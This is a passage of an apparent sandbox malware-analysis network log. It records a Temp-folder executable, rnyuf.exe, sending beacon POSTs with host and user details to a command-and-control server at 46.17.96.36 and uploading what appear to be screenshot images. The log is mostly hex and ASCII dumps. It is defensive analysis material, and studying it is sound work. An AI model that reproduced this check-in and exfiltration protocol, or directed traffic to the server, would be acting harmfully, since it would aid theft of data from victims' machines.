Aug 29, 2021 22:27:47.347398996 CEST	9675	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:47.347810030 CEST	9683	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:47.347862959 CEST	9689	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:47.380009890 CEST	9692	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:47.380050898 CEST	9695	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:47.380422115 CEST	9721	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:47.380494118 CEST	9740	OUT	Data Raw: 19 f8 79 ce 5e 07 56 3d 4f 97 5e 6c 2a e2 29 d5 9c fd 9b d4 f5 6a 61 f0 d5 68 c2 0a a5 ac 71 29 a6 dd b9 f9 6d e4 3f f0 1a b2 9e 1f d4 1f fe 58 10 3d f8 ae 92 6d 73 48 bc 07 ec da c3 5b 7b 3c 78 ac e9 ed ae ae 01 6b 6f 11 43 2a 9e db f6 d7 42 c6 Data Ascii: y^V=O^l)jahq)m?X=msH[{<xkoCBU{_TI`)gTO]dh{J<?og\ZtQfyS^J>tb[G9EJN~>lJ_Q0LoQaq\y5KK4:9<aNO
Aug 29, 2021 22:27:47.484462976 CEST	9762	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.4	49841	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.537049055 CEST	9763	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:47.616208076 CEST	9764	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.4	49842	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.749437094 CEST	9764	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:47.749552965 CEST	9764	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:47.749747038 CEST	9775	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:47.749875069 CEST	9777	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:47.783030033 CEST	9794	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:47.783181906 CEST	9798	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:47.783225060 CEST	9800	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:47.783422947 CEST	9803	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:47.816660881 CEST	9827	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:47.816726923 CEST	9843	OUT	Data Raw: de af 27 b1 1f f1 3a b4 ff 00 ae cb fc e8 cb 9f fb 1b f9 9d 78 fd 31 bf 71 ea 3e 2b ff 00 90 84 7f f5 cc 57 3a c3 9e 2b a3 f1 59 c6 a1 1f fd 73 ae 70 9e 6a 30 7f c1 46 38 ff 00 e3 c8 6e 29 7a 51 45 75 9c 03 b3 4e 18 a6 01 4e 02 a5 96 87 8a 5c d3 Data Ascii: ':x1q>+W:+Yspj0F8n)zQEuNN\E-"fiYhpf)f"ARbrEJ)TSSrKIZ)F2ep`T3D; se\B^_yMEMJ=+EP)hZb"@iiE
Aug 29, 2021 22:27:47.816751003 CEST	9848	OUT	Data Raw: a0 ec f9 5e bf f6 fc cc e5 f1 9f 86 ed e0 85 56 ec c7 19 dc ab 18 b5 94 18 c2 05 2d b9 76 e5 00 0c a7 2c 00 c1 15 7e cf c4 3a 66 a1 a9 4d 61 69 3b cd 3c 3f 7c ac 0f e5 8e 01 c7 99 b7 61 38 60 78 3d eb 97 b8 f0 6d f5 b5 cd ad ce 99 73 14 f7 06 19 Data Ascii: ^V-v,~:fMai;<?\|a8`x=msBYW(~^?7%5uXTL<h'<9rr_?i<~cS+;v_-(Z{zh5vyVB'%\QL4)EBT!RdP)
Aug 29, 2021 22:27:47.923269033 CEST	9876	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.4	49843	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.769835949 CEST	9778	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:47.845710993 CEST	9854	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.4	49844	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:47.991497040 CEST	9877	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:48.077568054 CEST	9877	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:48.179789066 CEST	9877	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:48.179876089 CEST	9878	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:48.180069923 CEST	9888	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:48.180527925 CEST	9890	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:48.214982986 CEST	9893	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:48.215234041 CEST	9904	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:48.215262890 CEST	9912	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:48.215305090 CEST	9915	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:27:48.215468884 CEST	9917	OUT	Data Raw: 79 27 f7 e9 ff 00 0c 3b 51 fb ff 00 2f eb 53 4a d7 4c f0 e5 d2 68 30 38 d5 22 9b 5c f3 3c 9b 8f 3e 36 48 0f 9c f1 c6 1a 3f 2c 16 fb ab 92 1c 75 24 0e d4 cb af 0f 25 97 84 6d 35 23 a2 eb 37 33 4b 14 c6 7b b8 64 1f 66 b6 74 99 e3 c3 01 11 fe e8 3f Data Ascii: y';Q/SJLh08"\<>6H?,u$%m5#73K{dft?\|uv"DZB:Cdi4[2J dr4.H2Fd4&q>;^.5xWE}m,K]r.wY"5i;\X[o1d:;mcqp
Aug 29, 2021 22:27:48.250401974 CEST	9931	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:48.250571012 CEST	9947	OUT	Data Raw: f4 30 5a ff 00 df 86 ff 00 1a ab 79 f0 27 55 b5 88 14 d6 ad a6 91 c9 58 d0 42 c3 73 05 2d 8c 93 c7 dd af 6f ff 00 84 93 42 ff 00 a0 d6 9d ff 00 81 49 fe 35 4f 50 d7 b4 a9 12 06 b6 d5 f4 b7 92 29 77 ed 7b d4 50 46 d6 5e bc fa fa 54 f3 57 ec fe e2 Data Ascii: 0Zy'UXBs-oBI5OP)w{PF^TWCl"xn"m9^C2,sV<ge8(O5[WvM5hZ(5hIadK7szY9Q h4s0Dhapi}P(
Aug 29, 2021 22:27:48.361004114 CEST	9990	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.4	49845	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:48.238157988 CEST	9918	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:48.314148903 CEST	9989	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.4	49846	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:48.456253052 CEST	9991	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:48.532093048 CEST	9991	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:48.570302963 CEST	9991	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:48.570383072 CEST	9991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:48.570595980 CEST	10001	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:48.570708990 CEST	10004	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:48.605433941 CEST	10020	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:48.605484009 CEST	10025	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
